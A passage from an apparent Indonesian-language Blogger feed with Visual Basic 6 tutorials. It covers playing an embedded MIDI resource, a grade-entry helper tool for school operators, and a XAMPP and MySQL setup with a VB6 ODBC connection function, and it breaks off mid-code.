href="http://2.bp.blogspot.com/-CUTrkzdLAYE/UWqwHejFNxI/AAAAAAAAAdc/FON1j_yROQ0/s1600/Res1.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-CUTrkzdLAYE/UWqwHejFNxI/AAAAAAAAAdc/FON1j_yROQ0/s1600/Res1.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Masukkan File midi ke dalam Resources, dengan langkah:&lt;/div&gt;&lt;div&gt;1. Klik menu icon Vb resource editor.&lt;/div&gt;&lt;div&gt;2. Pilih Icon Add Custom Resource, kemudian cari file midi yang akan ditambahkan.&lt;/div&gt;&lt;div&gt;3. Akan muncul, folder resource dengan Nama Type=Custom dan Id=101. Anda dapat merubahnya seperti gambar di bawah ini.&lt;/div&gt;&lt;div&gt;4.Klik icon save.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-V2LmC46xQX4/UWqvuqcL07I/AAAAAAAAAdU/Vl6IwBiGmcM/s1600/Res.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-V2LmC46xQX4/UWqvuqcL07I/AAAAAAAAAdU/Vl6IwBiGmcM/s1600/Res.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Pada form tambahkan code di bawah ini:&lt;/div&gt;&lt;/div&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 600px;"&gt;Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long&lt;br /&gt;Dim sMusik As String&lt;br /&gt;&lt;br /&gt;Private Sub StartMusik()&lt;br /&gt;    Dim sBuffer As String&lt;br /&gt;    sMusik = App.Path &amp;amp; "\miditmp.mid"&lt;br /&gt;    If Dir(sMusik) &amp;lt;&amp;gt; "" Then Kill sMusik&lt;br /&gt;    sBuffer = StrConv(LoadResData("INTERFACE", "MIDI"), vbUnicode)&lt;br /&gt;    Open sMusik For Output As #1&lt;br /&gt;    Print #1, sBuffer&lt;br /&gt;    Close #1&lt;br /&gt;    Call mciSendString("open " &amp;amp; Chr(34) &amp;amp; sMusik &amp;amp; Chr(34) &amp;amp; " type sequencer alias INTERFACE", 0&amp;amp; , 0, 0)&lt;br /&gt;    Call mciSendString("play INTERFACE", 0&amp;amp;, 0, 0)    &lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub StopMusik()&lt;br /&gt;    Call mciSendString("close INTERFACE", 0&amp;amp;, 0, 0)&lt;br /&gt;    If Dir(sMusik) &amp;lt;&amp;gt; "" Then Kill sMusik&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;    Call StartMusik&lt;br /&gt;End sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Unload(Cancel As Integer)&lt;br /&gt;    StopMusik&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Download project &lt;a href="https://docs.google.com/file/d/0B17lWDxDzoE8dlZOZ3AzSEtTRFk/edit?usp=sharing" target="_blank"&gt;klik disini&lt;/a&gt;, Semoga bermanfaat.</content><link href="http://vbasiccode.blogspot.com/feeds/5006997052362284451/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2013/04/memainkan-musik-midi-file-yang-berada.html#comment-form" rel="replies" title="6 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/5006997052362284451" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/5006997052362284451" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2013/04/memainkan-musik-midi-file-yang-berada.html" rel="alternate" title="Memainkan musik (midi file) yang berada dalam resource" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://2.bp.blogspot.com/-CUTrkzdLAYE/UWqwHejFNxI/AAAAAAAAAdc/FON1j_yROQ0/s72-c/Res1.bmp" width="72"/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-4944848062715744095</id><published>2013-03-10T14:03:00.005+07:00</published><updated>2013-05-10T03:16:25.472+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Aplikasi"/><category scheme="http://www.blogger.com/atom/ns#" term="Database"/><category scheme="http://www.blogger.com/atom/ns#" term="Pendidikan"/><title type="text">Cara mudah entry Bio-Sistem Online</title><content type="html">Jika Anda merupakan operator data sekolah di lingkungan Provinsi Jawa Tengah, mungkin saat ini sampai dengan tanggal 24 Maret 2013 disibukkan dengan mengentry data Nilai, ekstra, kkm di situs www.pdkjateng.co.idmaka saya ucapkan selamat bekerja... Cara memasukkan data yang relatif banyak tersebut mungkin dapat dilakukan dengan cara,misal :&lt;br /&gt;1. Dengan meminta setiap siswa untuk memasukkan nilai rapornya masing-masing di situs pdkjateng.&lt;i&gt;(Beresiko..!)&lt;/i&gt;&lt;br /&gt;2. Mengetik satu-satu tiap nilai siswa secara langsung.&lt;i&gt;(Jika siswa dan kelasnya banyak, sangat melelahkan..)&lt;/i&gt;&lt;br /&gt;3. Menggunakan aplikasi yang mampu membantu penginputan nilai tersebut, klak-klik jadi.&lt;i&gt;(Tidak begitu melelahkan..)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Nah.., disini saya membuat aplikasi/tool kecil yang dapat membantu operator data sekolah untuk memasukkan data-data tersebut, Anda tinggal siapkan :&lt;br /&gt;1. data nilai, masukkan kedalam database aplikasi,&lt;br /&gt;2. klik tombol dan &lt;i&gt;WuzZzzZ &lt;/i&gt; Nilai siswa tersebut sudah berada di halaman website pdkjateng.&lt;br /&gt;&lt;br /&gt;Untuk link download akan diaktifkan saat jadwal input online dimulai, video penggunaanya dapat Anda lihat di bawah ini.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;  &lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/PPF0cVOIST8" width="560"&gt;&lt;/iframe&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Terimakasih, semoga menambah wawasan.&lt;/div&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/4944848062715744095/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2013/03/cara-mudah-entry-bio-sistem-online.html#comment-form" rel="replies" title="0 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/4944848062715744095" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/4944848062715744095" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2013/03/cara-mudah-entry-bio-sistem-online.html" rel="alternate" title="Cara mudah entry Bio-Sistem Online" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://img.youtube.com/vi/PPF0cVOIST8/default.jpg" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-6636220541959591447</id><published>2012-07-03T03:21:00.001+07:00</published><updated>2012-07-04T01:06:34.306+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Database"/><category scheme="http://www.blogger.com/atom/ns#" term="MySQL"/><category scheme="http://www.blogger.com/atom/ns#" term="Serpihan Code Database"/><category scheme="http://www.blogger.com/atom/ns#" term="SQL"/><title type="text">Access MySQL With VB 6.0</title><content type="html">&lt;h3&gt;         A. Instalasi XAMPP&lt;/h3&gt;&lt;div style="text-align: justify;"&gt;Pertama sebelum mengakses database MySQL dengan VB 6, maka terlebih dahulu kita bahas sedikit mengenai XAMPP, karena XAMPP merupakan suatu paket server yang sangat lengkap. Didalamnya sudah terdapat PHP, Apache, MySql, Phpmyadmin, dll. XAMPP merupakan singkatan dari X (empat system operasi yaitu Windows, Linux, Mac Os X dan Solaris), Apache, MySQL, PHP, Perl.&amp;nbsp;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Seperti kepanjangannya XAMPP merupakan tool yang menyediakan paket perangkat lunak ke dalam satu buah paket. Dalam paketnya sudah terdapat Apache (web server), MySQL (database), PHP (server side scripting), Perl, FTP server, phpMyAdmin dan berbagai pustaka bantu lainnya. Dengan menginstall XAMPP maka tidak perlu lagi melakukan instalasi dan konfigurasi web server Apache, PHP dan MySQL secara manual. XAMPP akan menginstalasi dan mengkonfigurasikannya secara otomatis untuk Anda.&lt;/div&gt;&lt;br /&gt;Berikut ini adalah langkah-langkah yang perlu Anda lakukan untuk menginstall XAMPP di windows :&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li style="text-align: left;"&gt;Download terlebih dahulu XAMPP di http://www.apachefriends.org/en/xampp-windows.html, Klik dua-kali file XAMPP yang telah Anda download.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-FpMtUDT8rAU/T_Huz2pQoqI/AAAAAAAAAYA/tjvxCU6QKa4/s1600/1xampp-installer.bmp" style="background-color: black;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-FpMtUDT8rAU/T_Huz2pQoqI/AAAAAAAAAYA/tjvxCU6QKa4/s1600/1xampp-installer.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Berikutnya klik saja [OK] untuk pilihan bahasa, English.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-GJ2_8_3NXas/T_HytSV2z8I/AAAAAAAAAYM/0IJbIZUE2hQ/s1600/2Xampp-language.bmp" style="background-color: black;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-GJ2_8_3NXas/T_HytSV2z8I/AAAAAAAAAYM/0IJbIZUE2hQ/s1600/2Xampp-language.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Klik [Next] pada jendela Setup Wizard yang muncul.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-MSrpm4UUE_I/T_HzKqbdwhI/AAAAAAAAAYU/mFwpM0eGjQQ/s1600/3xampp-wizard.jpg" style="background-color: black;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-MSrpm4UUE_I/T_HzKqbdwhI/AAAAAAAAAYU/mFwpM0eGjQQ/s320/3xampp-wizard.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Berikutnya Anda diminta memilih folder tempat XAMPP dipasang. Untuk mudahnya pilih saja di c:\, seperti default-nya dan klik [Next].&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-05udHXUYGGc/T_HzWgtRL3I/AAAAAAAAAYc/23JfeEfaCFM/s1600/4xampp-folder.jpg" style="background-color: black;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-05udHXUYGGc/T_HzWgtRL3I/AAAAAAAAAYc/23JfeEfaCFM/s320/4xampp-folder.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Pada jendela yang muncul berikutnya, Jangan lupa klik 3 kotak pada service section. Yaitu anda harus menginstall apache as service, mysql as service dan filezilla as service. klik saja [Install], dimana shortcut untuk menjalankan XAMPP akan ada di desktop dan di menu Start.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-7CtluM8IGqc/T_HzisYOILI/AAAAAAAAAYk/R508igaYF1A/s1600/5xampp-desktop.jpg" style="background-color: black;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-7CtluM8IGqc/T_HzisYOILI/AAAAAAAAAYk/R508igaYF1A/s320/5xampp-desktop.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Tunggu beberapa menit sementara XAMPP diinstall.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-QWHLnMU2xn0/T_HzutIFFLI/AAAAAAAAAYs/-r0Y1n2zeO8/s1600/6xampp-proses-install.jpg" style="background-color: black;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-QWHLnMU2xn0/T_HzutIFFLI/AAAAAAAAAYs/-r0Y1n2zeO8/s320/6xampp-proses-install.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Klik [Finish] setelah XAMPP selesai diinstal.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-uZ2KJ2g6wDc/T_Hz43zr-2I/AAAAAAAAAY0/fJgyP6Cp39o/s1600/7xampp-finish.jpg" style="background-color: black;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-uZ2KJ2g6wDc/T_Hz43zr-2I/AAAAAAAAAY0/fJgyP6Cp39o/s320/7xampp-finish.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Anda akan mendapati tawaran, apakah akan menjalankan XAMPP Control Panel sekarang atau lain kali. Klik [Yes] bila Anda akan menjalankannya.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-vpz0KuUP1Ik/T_H0GD4EBWI/AAAAAAAAAY8/DppT-UsRQNU/s1600/8xampp-konfirmasi.jpg" style="background-color: black;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-vpz0KuUP1Ik/T_H0GD4EBWI/AAAAAAAAAY8/DppT-UsRQNU/s320/8xampp-konfirmasi.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Setiap kali Anda akan mengelola situs Web Anda di PC lokal, Anda harus menjalankan XAMPP. Menjalankan XAMPP berarti memfungsikan PC Anda sebagai server Web. Untuk menjalankannya, klik ikon XAMPP dan Anda dihadapkan pada XAMPP Control Panel.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-BCZJAPAjM54/T_H0S9GE2-I/AAAAAAAAAZE/EcRhTmS7HwE/s1600/9xampp-control-panel.jpg" style="background-color: black;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-BCZJAPAjM54/T_H0S9GE2-I/AAAAAAAAAZE/EcRhTmS7HwE/s320/9xampp-control-panel.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Klik [Start] masing-masing untuk Apache dan MySql, sehingga muncul tanda Running untuk keduanya. PC lokal Anda kini sudah menjadi server Web lokal.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-H0LJjeHYHoU/T_H0dCGJK1I/AAAAAAAAAZM/ecSICseKSAY/s1600/10xampp-start.jpg" style="background-color: black;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-H0LJjeHYHoU/T_H0dCGJK1I/AAAAAAAAAZM/ecSICseKSAY/s320/10xampp-start.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Jalankan browser Anda dan ketikkan: http://localhost. Bila muncul tampilan seperti di bawah ini, berarti PC Anda sudah berfungsi sebagai server Web. Klik [English] untuk memilih bahasa Inggris.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Nt50Kt_kpD4/T_H0ohP1-CI/AAAAAAAAAZU/Liq8jvT_kzQ/s1600/11xampp-language-english.jpg" style="background-color: black;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-Nt50Kt_kpD4/T_H0ohP1-CI/AAAAAAAAAZU/Liq8jvT_kzQ/s320/11xampp-language-english.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;Dari tampilan yang muncul Anda dapat melakukan berbagai administrasi untuk server Anda termasuk membuat database SQL.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-pwtJD-bYI0U/T_H00DgTInI/AAAAAAAAAZc/tiGd6IE4sqI/s1600/12xampp-administrasi.jpg" style="background-color: black;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-pwtJD-bYI0U/T_H00DgTInI/AAAAAAAAAZc/tiGd6IE4sqI/s320/12xampp-administrasi.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h3&gt;         B. CREATE DATABASE AND TABLE&lt;/h3&gt;&lt;ul&gt;&lt;li style="text-align: left;"&gt;Pilih phpMyAdmin untuk membuat Database MySQL, misal Databasenya beri nama tutorialmysqlvb6offline, kemudian klik tombol Create seperti gambar di bawah ini.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-qC9tYmlCaLE/T_LsBCgvzgI/AAAAAAAAAZ0/MvP-1Y6RLoU/s1600/13MakeDB.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="179" src="http://1.bp.blogspot.com/-qC9tYmlCaLE/T_LsBCgvzgI/AAAAAAAAAZ0/MvP-1Y6RLoU/s320/13MakeDB.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;ul&gt;&lt;li style="text-align: left;"&gt;Hasil dari database&amp;nbsp; &lt;span style="text-align: justify;"&gt;tutorialmysqlvb6offline yang telah Anda buat tampaksepertigambar di bawah ini.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-S9_1tihbLqM/T_Lsal_tPjI/AAAAAAAAAZ8/VherCgIFXIQ/s1600/14MakeDB.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="179" src="http://4.bp.blogspot.com/-S9_1tihbLqM/T_Lsal_tPjI/AAAAAAAAAZ8/VherCgIFXIQ/s320/14MakeDB.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;&lt;li style="text-align: left;"&gt;Selanjutnya Anda bisa coba-coba membuat tabel dalam database&amp;nbsp; &lt;span style="text-align: justify;"&gt;tutorialmysqlvb6offline&lt;/span&gt;&amp;nbsp;ini, untuk mudahnya, saat ini&amp;nbsp;Anda dapat mendownload Tabel-tabel dalam Database&amp;nbsp; tutorialmysqlvb6offline&amp;nbsp;tersebut dengan klik di link &lt;a href="https://doc-10-ag-docs.googleusercontent.com/docs/securesc/o0q27dce7ft6q3tg1a8f0scjk7001bgb/4g8g9eto6m14vuhefd4poab7ubmef8c1/1341259200000/07339931595619527726/07339931595619527726/0B17lWDxDzoE8c0M0LVVRTkFzVlU?e=download&amp;amp;nonce=vfslhm9u5uttc&amp;amp;user=07339931595619527726&amp;amp;hash=pk5p62ejsss49hvamfj4d7u8pichu4na"&gt;download ini&lt;/a&gt;, kemudian melalui phpMyAdmin tersebut anda dapat mengimport file yang telah anda download. Klik tombol Importuntuk mulai Import.&lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-_-AVh2oR81k/T_LtgxP9tPI/AAAAAAAAAaE/AQF3YBwfM5k/s1600/15MakeDB.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="179" src="http://2.bp.blogspot.com/-_-AVh2oR81k/T_LtgxP9tPI/AAAAAAAAAaE/AQF3YBwfM5k/s320/15MakeDB.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;ul&gt;&lt;li style="text-align: left;"&gt;Tekan tombol Chose File untuk memilih File hasil download tadi kemudian tekan Tombol Go untuk memulai impor. Hasilnya akan tampak seperti gambar dibawah ini.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-5VucDL-kcaM/T_LufTHEEYI/AAAAAAAAAaM/bOBgf-QjLxE/s1600/16MakeDB.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="179" src="http://1.bp.blogspot.com/-5VucDL-kcaM/T_LufTHEEYI/AAAAAAAAAaM/bOBgf-QjLxE/s320/16MakeDB.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h3 style="text-align: left;"&gt;         C. CREATE USER&lt;/h3&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Selanjutnya kita akan membuat User yang berhak mengakses Database&amp;nbsp; &lt;span style="text-align: justify;"&gt;tutorialmysqlvb6offline, tekan Privileges dilanjutkan tekan Add New User pada halaman yang muncul. Selanjutnya akan tampak halaman dengan isian User Name, Host, Password dan Retype Password. Anda dapat mengisi isian tersebut sesuai dengan kehendak Anda, Untuk saat ini seperti pada gambar di bawah saya mengisi;&lt;/span&gt;&lt;span style="text-align: justify;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="text-align: justify;"&gt;User name =&amp;nbsp;&lt;/span&gt;&lt;i&gt;TutorMySQL&lt;/i&gt;&lt;br /&gt;&lt;span style="text-align: justify;"&gt;Host =&amp;nbsp;&lt;/span&gt;&lt;i&gt;localhost&lt;/i&gt;&lt;br /&gt;Password =&amp;nbsp;&lt;i&gt;TutorMySQLVB6&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;span style="text-align: justify;"&gt;Database for user =&amp;nbsp;&lt;/span&gt;&lt;i&gt;Grant All privileges on Database tutorialmysqlvb6offline&lt;/i&gt;&lt;br /&gt;&lt;span style="text-align: justify;"&gt;Untuk Pilihan Global Privileges = &amp;nbsp;&lt;/span&gt;&lt;i&gt;Check All&lt;/i&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-FMBt899Zmow/T_MGKgbxYtI/AAAAAAAAAaY/QbSXiqSyC3o/s1600/18CreateUser.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="179" src="http://4.bp.blogspot.com/-FMBt899Zmow/T_MGKgbxYtI/AAAAAAAAAaY/QbSXiqSyC3o/s320/18CreateUser.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="text-align: justify;"&gt;Selanjutnya tekan tombol Go, maka Anda sudah berhasil membuat User yang hanya dapat mengakses Database&amp;nbsp; &lt;/span&gt; &lt;span style="text-align: justify;"&gt;tutorialmysqlvb6offline, seperti gambar di bawah ini.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-zF1z2RlXTeo/T_MICKmlEnI/AAAAAAAAAag/O-kk9rwfHg4/s1600/19CreateUser.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="179" src="http://3.bp.blogspot.com/-zF1z2RlXTeo/T_MICKmlEnI/AAAAAAAAAag/O-kk9rwfHg4/s320/19CreateUser.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Setelah selesai Anda dapat menutup browser untuk menutup tampilan di atas. Untuk pengetahuan tambahan Anda dapat menonaktifkan server lokal Anda, dengan cara, pada XAMPP Control Panel, klik [Stop] pada masing-masing [Apache] dan [MySql], lalu tutup jendela control panel.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;         D. Seting ODBC MySQL Driver&lt;/h3&gt;Jika di komputer Anda belum terinstal Connector MySQL ODBC maka Anda dapat mendownload Connector ODBC dilink &lt;a href="http://dev.mysql.com/downloads/connector/odbc/"&gt;http://dev.mysql.com/downloads/connector/odbc/&lt;/a&gt;&lt;br /&gt;Contoh Seting ODBC untuk mengakses Database MySQL Online (Website) ataupun offline (localhost) seperti pada video di bawah ini.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/Lp40reixmXU" width="500"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;br /&gt;&lt;h3&gt;         E. Akses MySQL With VB 6.0&lt;/h3&gt;Setelah semua langkah di atas selesai, maka saatnya untuk mengakses Database yang telah kita buat tadi dengan menggunakan VisualBasic. Buka project baru, dalam form tambahkan 4 komponen ADODC, 4 Komponen Datagrid, 1 Textbox dan 1 CommandButton, seperti gambar di bawah ini.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-PUWnBG_dHpw/T_MTrUSQpoI/AAAAAAAAAas/PAlAOmF5UPA/s1600/DesignForm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="236" src="http://1.bp.blogspot.com/-PUWnBG_dHpw/T_MTrUSQpoI/AAAAAAAAAas/PAlAOmF5UPA/s320/DesignForm.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Dalam form tulis code seperti di bawah ini.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 110px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;    Dim MySqlString As String&lt;br /&gt;    Dim strServerName As String&lt;br /&gt;    Dim strUserName As String&lt;br /&gt;    Dim strPassword As String&lt;br /&gt;    Dim strDataBaseName As String&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 240px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Function ConnectString() As String&lt;br /&gt;    strServerName = "localhost"&lt;br /&gt;    strDataBaseName = "tutorialmysqlvb6offline"&lt;br /&gt;    strUserName = "TutorMySQL"&lt;br /&gt;    strPassword = "TutorMySQLVB6"&lt;br /&gt;    &lt;br /&gt;    ConnectString = "DRIVER={MySQL ODBC 5.1 Driver};" &amp;amp; _&lt;br /&gt;    "SERVER=" &amp;amp; strServerName &amp;amp; _&lt;br /&gt;    ";DATABASE=" &amp;amp; strDataBaseName &amp;amp; ";" &amp;amp; _&lt;br /&gt;    "USER=" &amp;amp; strUserName &amp;amp; _&lt;br /&gt;    ";PASSWORD=" &amp;amp; strPassword &amp;amp; _&lt;br /&gt;    ";OPTION=3;"&lt;br /&gt;End Function&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 330px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private 